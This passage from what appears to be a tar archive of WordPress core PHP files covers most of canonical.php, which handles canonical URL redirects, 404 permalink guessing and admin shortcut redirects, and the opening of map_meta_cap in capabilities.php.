} canonical.php000064400000100475151202620300007202 0ustar00is_preview = false; } } if ( is_admin() || is_search() || is_preview() || is_trackback() || is_favicon() || ( $is_IIS && ! iis7_supports_permalinks() ) ) { return; } if ( ! $requested_url && isset( $_SERVER['HTTP_HOST'] ) ) { // Build the URL in the address bar. $requested_url = is_ssl() ? 'https://' : 'http://'; $requested_url .= $_SERVER['HTTP_HOST']; $requested_url .= $_SERVER['REQUEST_URI']; } $original = parse_url( $requested_url ); if ( false === $original ) { return; } $redirect = $original; $redirect_url = false; $redirect_obj = false; // Notice fixing. if ( ! isset( $redirect['path'] ) ) { $redirect['path'] = ''; } if ( ! isset( $redirect['query'] ) ) { $redirect['query'] = ''; } /* * If the original URL ended with non-breaking spaces, they were almost * certainly inserted by accident. Let's remove them, so the reader doesn't * see a 404 error with no obvious cause. */ $redirect['path'] = preg_replace( '|(%C2%A0)+$|i', '', $redirect['path'] ); // It's not a preview, so remove it from URL. if ( get_query_var( 'preview' ) ) { $redirect['query'] = remove_query_arg( 'preview', $redirect['query'] ); } $post_id = get_query_var( 'p' ); if ( is_feed() && $post_id ) { $redirect_url = get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) ); $redirect_obj = get_post( $post_id ); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed' ), $redirect_url ); $redirect['path'] = parse_url( $redirect_url, PHP_URL_PATH ); } } if ( is_singular() && $wp_query->post_count < 1 && $post_id ) { $vars = $wpdb->get_results( $wpdb->prepare( "SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $post_id ) ); if ( ! empty( $vars[0] ) ) { $vars = $vars[0]; if ( 'revision' === $vars->post_type && $vars->post_parent > 0 ) { $post_id = $vars->post_parent; } $redirect_url = get_permalink( $post_id ); $redirect_obj = get_post( $post_id ); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } } // These tests give us a WP-generated permalink. if ( is_404() ) { // Redirect ?page_id, ?p=, ?attachment_id= to their respective URLs. $post_id = max( get_query_var( 'p' ), get_query_var( 'page_id' ), get_query_var( 'attachment_id' ) ); $redirect_post = $post_id ? get_post( $post_id ) : false; if ( $redirect_post ) { $post_type_obj = get_post_type_object( $redirect_post->post_type ); if ( $post_type_obj && $post_type_obj->public && 'auto-draft' !== $redirect_post->post_status ) { $redirect_url = get_permalink( $redirect_post ); $redirect_obj = get_post( $redirect_post ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } $year = get_query_var( 'year' ); $month = get_query_var( 'monthnum' ); $day = get_query_var( 'day' ); if ( $year && $month && $day ) { $date = sprintf( '%04d-%02d-%02d', $year, $month, $day ); if ( ! wp_checkdate( $month, $day, $year, $date ) ) { $redirect_url = get_month_link( $year, $month ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum', 'day' ), $redirect_url ); } } elseif ( $year && $month && $month > 12 ) { $redirect_url = get_year_link( $year ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum' ), $redirect_url ); } // Strip off non-existing links from single posts or pages. if ( get_query_var( 'page' ) ) { $post_id = 0; if ( $wp_query->queried_object instanceof WP_Post ) { $post_id = $wp_query->queried_object->ID; } elseif ( $wp_query->post ) { $post_id = $wp_query->post->ID; } if ( $post_id ) { $redirect_url = get_permalink( $post_id ); $redirect_obj = get_post( $post_id ); $redirect['path'] = rtrim( $redirect['path'], (int) get_query_var( 'page' ) . '/' ); $redirect['query'] = remove_query_arg( 'page', $redirect['query'] ); } } if ( ! $redirect_url ) { $redirect_url = redirect_guess_404_permalink(); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } } elseif ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) { // Rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101. if ( is_attachment() && ! array_diff( array_keys( $wp->query_vars ), array( 'attachment', 'attachment_id' ) ) && ! $redirect_url ) { if ( ! empty( $_GET['attachment_id'] ) ) { $redirect_url = get_attachment_link( get_query_var( 'attachment_id' ) ); $redirect_obj = get_post( get_query_var( 'attachment_id' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'attachment_id', $redirect['query'] ); } } else { $redirect_url = get_attachment_link(); $redirect_obj = get_post(); } } elseif ( is_single() && ! empty( $_GET['p'] ) && ! $redirect_url ) { $redirect_url = get_permalink( get_query_var( 'p' ) ); $redirect_obj = get_post( get_query_var( 'p' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'p', 'post_type' ), $redirect['query'] ); } } elseif ( is_single() && ! empty( $_GET['name'] ) && ! $redirect_url ) { $redirect_url = get_permalink( $wp_query->get_queried_object_id() ); $redirect_obj = get_post( $wp_query->get_queried_object_id() ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'name', $redirect['query'] ); } } elseif ( is_page() && ! empty( $_GET['page_id'] ) && ! $redirect_url ) { $redirect_url = get_permalink( get_query_var( 'page_id' ) ); $redirect_obj = get_post( get_query_var( 'page_id' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] ); } } elseif ( is_page() && ! is_feed() && ! $redirect_url && 'page' === get_option( 'show_on_front' ) && get_queried_object_id() === (int) get_option( 'page_on_front' ) ) { $redirect_url = home_url( '/' ); } elseif ( is_home() && ! empty( $_GET['page_id'] ) && ! $redirect_url && 'page' === get_option( 'show_on_front' ) && get_query_var( 'page_id' ) === (int) get_option( 'page_for_posts' ) ) { $redirect_url = get_permalink( get_option( 'page_for_posts' ) ); $redirect_obj = get_post( get_option( 'page_for_posts' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] ); } } elseif ( ! empty( $_GET['m'] ) && ( is_year() || is_month() || is_day() ) ) { $m = get_query_var( 'm' ); switch ( strlen( $m ) ) { case 4: // Yearly. $redirect_url = get_year_link( $m ); break; case 6: // Monthly. $redirect_url = get_month_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ) ); break; case 8: // Daily. $redirect_url = get_day_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ), substr( $m, 6, 2 ) ); break; } if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'm', $redirect['query'] ); } // Now moving on to non ?m=X year/month/day links. } elseif ( is_date() ) { $year = get_query_var( 'year' ); $month = get_query_var( 'monthnum' ); $day = get_query_var( 'day' ); if ( is_day() && $year && $month && ! empty( $_GET['day'] ) ) { $redirect_url = get_day_link( $year, $month, $day ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'year', 'monthnum', 'day' ), $redirect['query'] ); } } elseif ( is_month() && $year && ! empty( $_GET['monthnum'] ) ) { $redirect_url = get_month_link( $year, $month ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'year', 'monthnum' ), $redirect['query'] ); } } elseif ( is_year() && ! empty( $_GET['year'] ) ) { $redirect_url = get_year_link( $year ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'year', $redirect['query'] ); } } } elseif ( is_author() && ! empty( $_GET['author'] ) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) { $author = get_userdata( get_query_var( 'author' ) ); if ( false !== $author && $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE $wpdb->posts.post_author = %d AND $wpdb->posts.post_status = 'publish' LIMIT 1", $author->ID ) ) ) { $redirect_url = get_author_posts_url( $author->ID, $author->user_nicename ); $redirect_obj = $author; if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'author', $redirect['query'] ); } } } elseif ( is_category() || is_tag() || is_tax() ) { // Terms (tags/categories). $term_count = 0; foreach ( $wp_query->tax_query->queried_terms as $tax_query ) { $term_count += count( $tax_query['terms'] ); } $obj = $wp_query->get_queried_object(); if ( $term_count <= 1 && ! empty( $obj->term_id ) ) { $tax_url = get_term_link( (int) $obj->term_id, $obj->taxonomy ); if ( $tax_url && ! is_wp_error( $tax_url ) ) { if ( ! empty( $redirect['query'] ) ) { // Strip taxonomy query vars off the URL. $qv_remove = array( 'term', 'taxonomy' ); if ( is_category() ) { $qv_remove[] = 'category_name'; $qv_remove[] = 'cat'; } elseif ( is_tag() ) { $qv_remove[] = 'tag'; $qv_remove[] = 'tag_id'; } else { // Custom taxonomies will have a custom query var, remove those too. $tax_obj = get_taxonomy( $obj->taxonomy ); if ( false !== $tax_obj->query_var ) { $qv_remove[] = $tax_obj->query_var; } } $rewrite_vars = array_diff( array_keys( $wp_query->query ), array_keys( $_GET ) ); // Check to see if all the query vars are coming from the rewrite, none are set via $_GET. if ( ! array_diff( $rewrite_vars, array_keys( $_GET ) ) ) { // Remove all of the per-tax query vars. $redirect['query'] = remove_query_arg( $qv_remove, $redirect['query'] ); // Create the destination URL for this taxonomy. $tax_url = parse_url( $tax_url ); if ( ! empty( $tax_url['query'] ) ) { // Taxonomy accessible via ?taxonomy=...&term=... or any custom query var. parse_str( $tax_url['query'], $query_vars ); $redirect['query'] = add_query_arg( $query_vars, $redirect['query'] ); } else { // Taxonomy is accessible via a "pretty URL". $redirect['path'] = $tax_url['path']; } } else { // Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite. foreach ( $qv_remove as $_qv ) { if ( isset( $rewrite_vars[ $_qv ] ) ) { $redirect['query'] = remove_query_arg( $_qv, $redirect['query'] ); } } } } } } } elseif ( is_single() && strpos( $wp_rewrite->permalink_structure, '%category%' ) !== false ) { $category_name = get_query_var( 'category_name' ); if ( $category_name ) { $category = get_category_by_path( $category_name ); if ( ! $category || is_wp_error( $category ) || ! has_term( $category->term_id, 'category', $wp_query->get_queried_object_id() ) ) { $redirect_url = get_permalink( $wp_query->get_queried_object_id() ); $redirect_obj = get_post( $wp_query->get_queried_object_id() ); } } } // Post paging. if ( is_singular() && get_query_var( 'page' ) ) { $page = get_query_var( 'page' ); if ( ! $redirect_url ) { $redirect_url = get_permalink( get_queried_object_id() ); $redirect_obj = get_post( get_queried_object_id() ); } if ( $page > 1 ) { $redirect_url = trailingslashit( $redirect_url ); if ( is_front_page() ) { $redirect_url .= user_trailingslashit( "$wp_rewrite->pagination_base/$page", 'paged' ); } else { $redirect_url .= user_trailingslashit( $page, 'single_paged' ); } } $redirect['query'] = remove_query_arg( 'page', $redirect['query'] ); } if ( get_query_var( 'sitemap' ) ) { $redirect_url = get_sitemap_url( get_query_var( 'sitemap' ), get_query_var( 'sitemap-subtype' ), get_query_var( 'paged' ) ); $redirect['query'] = remove_query_arg( array( 'sitemap', 'sitemap-subtype', 'paged' ), $redirect['query'] ); } elseif ( get_query_var( 'paged' ) || is_feed() || get_query_var( 'cpage' ) ) { // Paging and feeds. $paged = get_query_var( 'paged' ); $feed = get_query_var( 'feed' ); $cpage = get_query_var( 'cpage' ); while ( preg_match( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", $redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+)?$#', $redirect['path'] ) || preg_match( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+(/+)?$#", $redirect['path'] ) ) { // Strip off any existing paging. $redirect['path'] = preg_replace( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", '/', $redirect['path'] ); // Strip off feed endings. $redirect['path'] = preg_replace( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $redirect['path'] ); // Strip off any existing comment paging. $redirect['path'] = preg_replace( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+?(/+)?$#", '/', $redirect['path'] ); } $addl_path = ''; $default_feed = get_default_feed(); if ( is_feed() && in_array( $feed, $wp_rewrite->feeds, true ) ) { $addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : ''; if ( ! is_singular() && get_query_var( 'withcomments' ) ) { $addl_path .= 'comments/'; } if ( ( 'rss' === $default_feed && 'feed' === $feed ) || 'rss' === $feed ) { $format = ( 'rss2' === $default_feed ) ? '' : 'rss2'; } else { $format = ( $default_feed === $feed || 'feed' === $feed ) ? '' : $feed; } $addl_path .= user_trailingslashit( 'feed/' . $format, 'feed' ); $redirect['query'] = remove_query_arg( 'feed', $redirect['query'] ); } elseif ( is_feed() && 'old' === $feed ) { $old_feed_files = array( 'wp-atom.php' => 'atom', 'wp-commentsrss2.php' => 'comments_rss2', 'wp-feed.php' => $default_feed, 'wp-rdf.php' => 'rdf', 'wp-rss.php' => 'rss2', 'wp-rss2.php' => 'rss2', ); if ( isset( $old_feed_files[ basename( $redirect['path'] ) ] ) ) { $redirect_url = get_feed_link( $old_feed_files[ basename( $redirect['path'] ) ] ); wp_redirect( $redirect_url, 301 ); die(); } } if ( $paged > 0 ) { $redirect['query'] = remove_query_arg( 'paged', $redirect['query'] ); if ( ! is_feed() ) { if ( ! is_single() ) { $addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : ''; if ( $paged > 1 ) { $addl_path .= user_trailingslashit( "$wp_rewrite->pagination_base/$paged", 'paged' ); } } } elseif ( $paged > 1 ) { $redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] ); } } $default_comments_page = get_option( 'default_comments_page' ); if ( get_option( 'page_comments' ) && ( 'newest' === $default_comments_page && $cpage > 0 || 'newest' !== $default_comments_page && $cpage > 1 ) ) { $addl_path = ( ! empty( $addl_path ) ? trailingslashit( $addl_path ) : '' ); $addl_path .= user_trailingslashit( $wp_rewrite->comments_pagination_base . '-' . $cpage, 'commentpaged' ); $redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] ); } // Strip off trailing /index.php/. $redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/?$|', '/', $redirect['path'] ); $redirect['path'] = user_trailingslashit( $redirect['path'] ); if ( ! empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos( $redirect['path'], '/' . $wp_rewrite->index . '/' ) === false ) { $redirect['path'] = trailingslashit( $redirect['path'] ) . $wp_rewrite->index . '/'; } if ( ! empty( $addl_path ) ) { $redirect['path'] = trailingslashit( $redirect['path'] ) . $addl_path; } $redirect_url = $redirect['scheme'] . '://' . $redirect['host'] . $redirect['path']; } if ( 'wp-register.php' === basename( $redirect['path'] ) ) { if ( is_multisite() ) { /** This filter is documented in wp-login.php */ $redirect_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ); } else { $redirect_url = wp_registration_url(); } wp_redirect( $redirect_url, 301 ); die(); } } $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); // Tack on any additional query vars. if ( $redirect_url && ! empty( $redirect['query'] ) ) { parse_str( $redirect['query'], $_parsed_query ); $redirect = parse_url( $redirect_url ); if ( ! empty( $_parsed_query['name'] ) && ! empty( $redirect['query'] ) ) { parse_str( $redirect['query'], $_parsed_redirect_query ); if ( empty( $_parsed_redirect_query['name'] ) ) { unset( $_parsed_query['name'] ); } } $_parsed_query = array_combine( rawurlencode_deep( array_keys( $_parsed_query ) ), rawurlencode_deep( array_values( $_parsed_query ) ) ); $redirect_url = add_query_arg( $_parsed_query, $redirect_url ); } if ( $redirect_url ) { $redirect = parse_url( $redirect_url ); } // www.example.com vs. example.com $user_home = parse_url( home_url() ); if ( ! empty( $user_home['host'] ) ) { $redirect['host'] = $user_home['host']; } if ( empty( $user_home['path'] ) ) { $user_home['path'] = '/'; } // Handle ports. if ( ! empty( $user_home['port'] ) ) { $redirect['port'] = $user_home['port']; } else { unset( $redirect['port'] ); } // Trailing /index.php. $redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/*?$|', '/', $redirect['path'] ); $punctuation_pattern = implode( '|', array_map( 'preg_quote', array( ' ', '%20', // Space. '!', '%21', // Exclamation mark. '"', '%22', // Double quote. "'", '%27', // Single quote. '(', '%28', // Opening bracket. ')', '%29', // Closing bracket. ',', '%2C', // Comma. '.', '%2E', // Period. ';', '%3B', // Semicolon. '{', '%7B', // Opening curly bracket. '}', '%7D', // Closing curly bracket. '%E2%80%9C', // Opening curly quote. '%E2%80%9D', // Closing curly quote. ) ) ); // Remove trailing spaces and end punctuation from the path. $redirect['path'] = preg_replace( "#($punctuation_pattern)+$#", '', $redirect['path'] ); if ( ! empty( $redirect['query'] ) ) { // Remove trailing spaces and end punctuation from certain terminating query string args. $redirect['query'] = preg_replace( "#((^|&)(p|page_id|cat|tag)=[^&]*?)($punctuation_pattern)+$#", '$1', $redirect['query'] ); // Clean up empty query strings. $redirect['query'] = trim( preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query'] ), '&' ); // Redirect obsolete feeds. $redirect['query'] = preg_replace( '#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $redirect['query'] ); // Remove redundant leading ampersands. $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); } // Strip /index.php/ when we're not using PATHINFO permalinks. if ( ! $wp_rewrite->using_index_permalinks() ) { $redirect['path'] = str_replace( '/' . $wp_rewrite->index . '/', '/', $redirect['path'] ); } // Trailing slashes. if ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() && ! is_404() && ( ! is_front_page() || is_front_page() && get_query_var( 'paged' ) > 1 ) ) { $user_ts_type = ''; if ( get_query_var( 'paged' ) > 0 ) { $user_ts_type = 'paged'; } else { foreach ( array( 'single', 'category', 'page', 'day', 'month', 'year', 'home' ) as $type ) { $func = 'is_' . $type; if ( call_user_func( $func ) ) { $user_ts_type = $type; break; } } } $redirect['path'] = user_trailingslashit( $redirect['path'], $user_ts_type ); } elseif ( is_front_page() ) { $redirect['path'] = trailingslashit( $redirect['path'] ); } // Remove trailing slash for robots.txt or sitemap requests. if ( is_robots() || ! empty( get_query_var( 'sitemap' ) ) || ! empty( get_query_var( 'sitemap-stylesheet' ) ) ) { $redirect['path'] = untrailingslashit( $redirect['path'] ); } // Strip multiple slashes out of the URL. if ( strpos( $redirect['path'], '//' ) > -1 ) { $redirect['path'] = preg_replace( '|/+|', '/', $redirect['path'] ); } // Always trailing slash the Front Page URL. if ( trailingslashit( $redirect['path'] ) === trailingslashit( $user_home['path'] ) ) { $redirect['path'] = trailingslashit( $redirect['path'] ); } $original_host_low = strtolower( $original['host'] ); $redirect_host_low = strtolower( $redirect['host'] ); // Ignore differences in host capitalization, as this can lead to infinite redirects. // Only redirect no-www <=> yes-www. if ( $original_host_low === $redirect_host_low || ( 'www.' . $original_host_low !== $redirect_host_low && 'www.' . $redirect_host_low !== $original_host_low ) ) { $redirect['host'] = $original['host']; } $compare_original = array( $original['host'], $original['path'] ); if ( ! empty( $original['port'] ) ) { $compare_original[] = $original['port']; } if ( ! empty( $original['query'] ) ) { $compare_original[] = $original['query']; } $compare_redirect = array( $redirect['host'], $redirect['path'] ); if ( ! empty( $redirect['port'] ) ) { $compare_redirect[] = $redirect['port']; } if ( ! empty( $redirect['query'] ) ) { $compare_redirect[] = $redirect['query']; } if ( $compare_original !== $compare_redirect ) { $redirect_url = $redirect['scheme'] . '://' . $redirect['host']; if ( ! empty( $redirect['port'] ) ) { $redirect_url .= ':' . $redirect['port']; } $redirect_url .= $redirect['path']; if ( ! empty( $redirect['query'] ) ) { $redirect_url .= '?' . $redirect['query']; } } if ( ! $redirect_url || $redirect_url === $requested_url ) { return; } // Hex encoded octets are case-insensitive. if ( false !== strpos( $requested_url, '%' ) ) { if ( ! function_exists( 'lowercase_octets' ) ) { /** * Converts the first hex-encoded octet match to lowercase. * * @since 3.1.0 * @ignore * * @param array $matches Hex-encoded octet matches for the requested URL. * @return string Lowercased version of the first match. */ function lowercase_octets( $matches ) { return strtolower( $matches[0] ); } } $requested_url = preg_replace_callback( '|%[a-fA-F0-9][a-fA-F0-9]|', 'lowercase_octets', $requested_url ); } if ( $redirect_obj instanceof WP_Post ) { $post_status_obj = get_post_status_object( get_post_status( $redirect_obj ) ); /* * Unset the redirect object and URL if they are not readable by the user. * This condition is a little confusing as the condition needs to pass if * the post is not readable by the user. That's why there are ! (not) conditions * throughout. */ if ( // Private post statuses only redirect if the user can read them. ! ( $post_status_obj->private && current_user_can( 'read_post', $redirect_obj->ID ) ) && // For other posts, only redirect if publicly viewable. ! is_post_publicly_viewable( $redirect_obj ) ) { $redirect_obj = false; $redirect_url = false; } } /** * Filters the canonical redirect URL. * * Returning false to this filter will cancel the redirect. * * @since 2.3.0 * * @param string $redirect_url The redirect URL. * @param string $requested_url The requested URL. */ $redirect_url = apply_filters( 'redirect_canonical', $redirect_url, $requested_url ); // Yes, again -- in case the filter aborted the request. if ( ! $redirect_url || strip_fragment_from_url( $redirect_url ) === strip_fragment_from_url( $requested_url ) ) { return; } if ( $do_redirect ) { // Protect against chained redirects. if ( ! redirect_canonical( $redirect_url, false ) ) { wp_redirect( $redirect_url, 301 ); exit; } else { // Debug. // die("1: $redirect_url
    2: " . redirect_canonical( $redirect_url, false ) ); return; } } else { return $redirect_url; } } /** * Removes arguments from a query string if they are not present in a URL * DO NOT use this in plugin code. * * @since 3.4.0 * @access private * * @param string $query_string * @param array $args_to_check * @param string $url * @return string The altered query string */ function _remove_qs_args_if_not_in_url( $query_string, array $args_to_check, $url ) { $parsed_url = parse_url( $url ); if ( ! empty( $parsed_url['query'] ) ) { parse_str( $parsed_url['query'], $parsed_query ); foreach ( $args_to_check as $qv ) { if ( ! isset( $parsed_query[ $qv ] ) ) { $query_string = remove_query_arg( $qv, $query_string ); } } } else { $query_string = remove_query_arg( $args_to_check, $query_string ); } return $query_string; } /** * Strips the #fragment from a URL, if one is present. * * @since 4.4.0 * * @param string $url The URL to strip. * @return string The altered URL. */ function strip_fragment_from_url( $url ) { $parsed_url = parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { // This mirrors code in redirect_canonical(). It does not handle every case. $url = $parsed_url['scheme'] . '://' . $parsed_url['host']; if ( ! empty( $parsed_url['port'] ) ) { $url .= ':' . $parsed_url['port']; } if ( ! empty( $parsed_url['path'] ) ) { $url .= $parsed_url['path']; } if ( ! empty( $parsed_url['query'] ) ) { $url .= '?' . $parsed_url['query']; } } return $url; } /** * Attempts to guess the correct URL for a 404 request based on query vars. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string|false The correct URL if one is found. False on failure. */ function redirect_guess_404_permalink() { global $wpdb; /** * Filters whether to attempt to guess a redirect URL for a 404 request. * * Returning a false value from the filter will disable the URL guessing * and return early without performing a redirect. * * @since 5.5.0 * * @param bool $do_redirect_guess Whether to attempt to guess a redirect URL * for a 404 request. Default true. */ if ( false === apply_filters( 'do_redirect_guess_404_permalink', true ) ) { return false; } /** * Short-circuits the redirect URL guessing for 404 requests. * * Returning a non-null value from the filter will effectively short-circuit * the URL guessing, returning the passed value instead. * * @since 5.5.0 * * @param null|string|false $pre Whether to short-circuit guessing the redirect for a 404. * Default null to continue with the URL guessing. */ $pre = apply_filters( 'pre_redirect_guess_404_permalink', null ); if ( null !== $pre ) { return $pre; } if ( get_query_var( 'name' ) ) { /** * Filters whether to perform a strict guess for a 404 redirect. * * Returning a truthy value from the filter will redirect only exact post_name matches. * * @since 5.5.0 * * @param bool $strict_guess Whether to perform a strict guess. Default false (loose guess). */ $strict_guess = apply_filters( 'strict_redirect_guess_404_permalink', false ); if ( $strict_guess ) { $where = $wpdb->prepare( 'post_name = %s', get_query_var( 'name' ) ); } else { $where = $wpdb->prepare( 'post_name LIKE %s', $wpdb->esc_like( get_query_var( 'name' ) ) . '%' ); } // If any of post_type, year, monthnum, or day are set, use them to refine the query. if ( get_query_var( 'post_type' ) ) { if ( is_array( get_query_var( 'post_type' ) ) ) { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $where .= " AND post_type IN ('" . join( "', '", esc_sql( get_query_var( 'post_type' ) ) ) . "')"; } else { $where .= $wpdb->prepare( ' AND post_type = %s', get_query_var( 'post_type' ) ); } } else { $where .= " AND post_type IN ('" . implode( "', '", get_post_types( array( 'public' => true ) ) ) . "')"; } if ( get_query_var( 'year' ) ) { $where .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) ); } if ( get_query_var( 'monthnum' ) ) { $where .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) ); } if ( get_query_var( 'day' ) ) { $where .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) ); } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared $post_id = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE $where AND post_status = 'publish'" ); if ( ! $post_id ) { return false; } if ( get_query_var( 'feed' ) ) { return get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) ); } elseif ( get_query_var( 'page' ) > 1 ) { return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' ); } else { return get_permalink( $post_id ); } } return false; } /** * Redirects a variety of shorthand URLs to the admin. * * If a user visits example.com/admin, they'll be redirected to /wp-admin. * Visiting /login redirects to /wp-login.php, and so on. * * @since 3.4.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. */ function wp_redirect_admin_locations() { global $wp_rewrite; if ( ! ( is_404() && $wp_rewrite->using_permalinks() ) ) { return; } $admins = array( home_url( 'wp-admin', 'relative' ), home_url( 'dashboard', 'relative' ), home_url( 'admin', 'relative' ), site_url( 'dashboard', 'relative' ), site_url( 'admin', 'relative' ), ); if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $admins, true ) ) { wp_redirect( admin_url() ); exit; } $logins = array( home_url( 'wp-login.php', 'relative' ), home_url( 'login', 'relative' ), site_url( 'login', 'relative' ), ); if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $logins, true ) ) { wp_redirect( wp_login_url() ); exit; } } capabilities.php000064400000105703151202620300007703 0ustar00ID ); * map_meta_cap( 'edit_post', $user->ID, $post->ID ); * map_meta_cap( 'edit_post_meta', $user->ID, $post->ID, $meta_key ); * * This function does not check whether the user has the required capabilities, * it just returns what the required capabilities are. * * @since 2.0.0 * @since 4.9.6 Added the `export_others_personal_data`, `erase_others_personal_data`, * and `manage_privacy_options` capabilities. * @since 5.1.0 Added the `update_php` capability. * @since 5.2.0 Added the `resume_plugin` and `resume_theme` capabilities. * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.7.0 Added the `create_app_password`, `list_app_passwords`, `read_app_password`, * `edit_app_password`, `delete_app_passwords`, `delete_app_password`, * and `update_https` capabilities. * * @global array $post_type_meta_caps Used to get post type meta capabilities. * * @param string $cap Capability being checked. * @param int $user_id User ID. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return string[] Primitive capabilities required of the user. */ function map_meta_cap( $cap, $user_id, ...$args ) { $caps = array(); switch ( $cap ) { case 'remove_user': // In multisite the user must be a super admin to remove themselves. if ( isset( $args[0] ) && $user_id == $args[0] && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'remove_users'; } break; case 'promote_user': case 'add_users': $caps[] = 'promote_users'; break; case 'edit_user': case 'edit_users': // Allow user to edit themselves. if ( 'edit_user' === $cap && isset( $args[0] ) && $user_id == $args[0] ) { break; } // In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin. if ( is_multisite() && ( ( ! is_super_admin( $user_id ) && 'edit_user' === $cap && is_super_admin( $args[0] ) ) || ! user_can( $user_id, 'manage_network_users' ) ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'edit_users'; // edit_user maps to edit_users. } break; case 'delete_post': case 'delete_page': $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $caps[] = 'do_not_allow'; break; } if ( ( get_option( 'page_for_posts' ) == $post->ID ) || ( get_option( 'page_on_front' ) == $post->ID ) ) { $caps[] = 'manage_options'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The post type %1$s is not registered, so it may not be reliable to check the capability "%2$s" against a post of that type.' ), $post->post_type, $cap ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'delete_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } else { $caps[] = $post_type->cap->delete_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->delete_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->delete_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->delete_private_posts; } } /* * Setting the privacy policy page requires 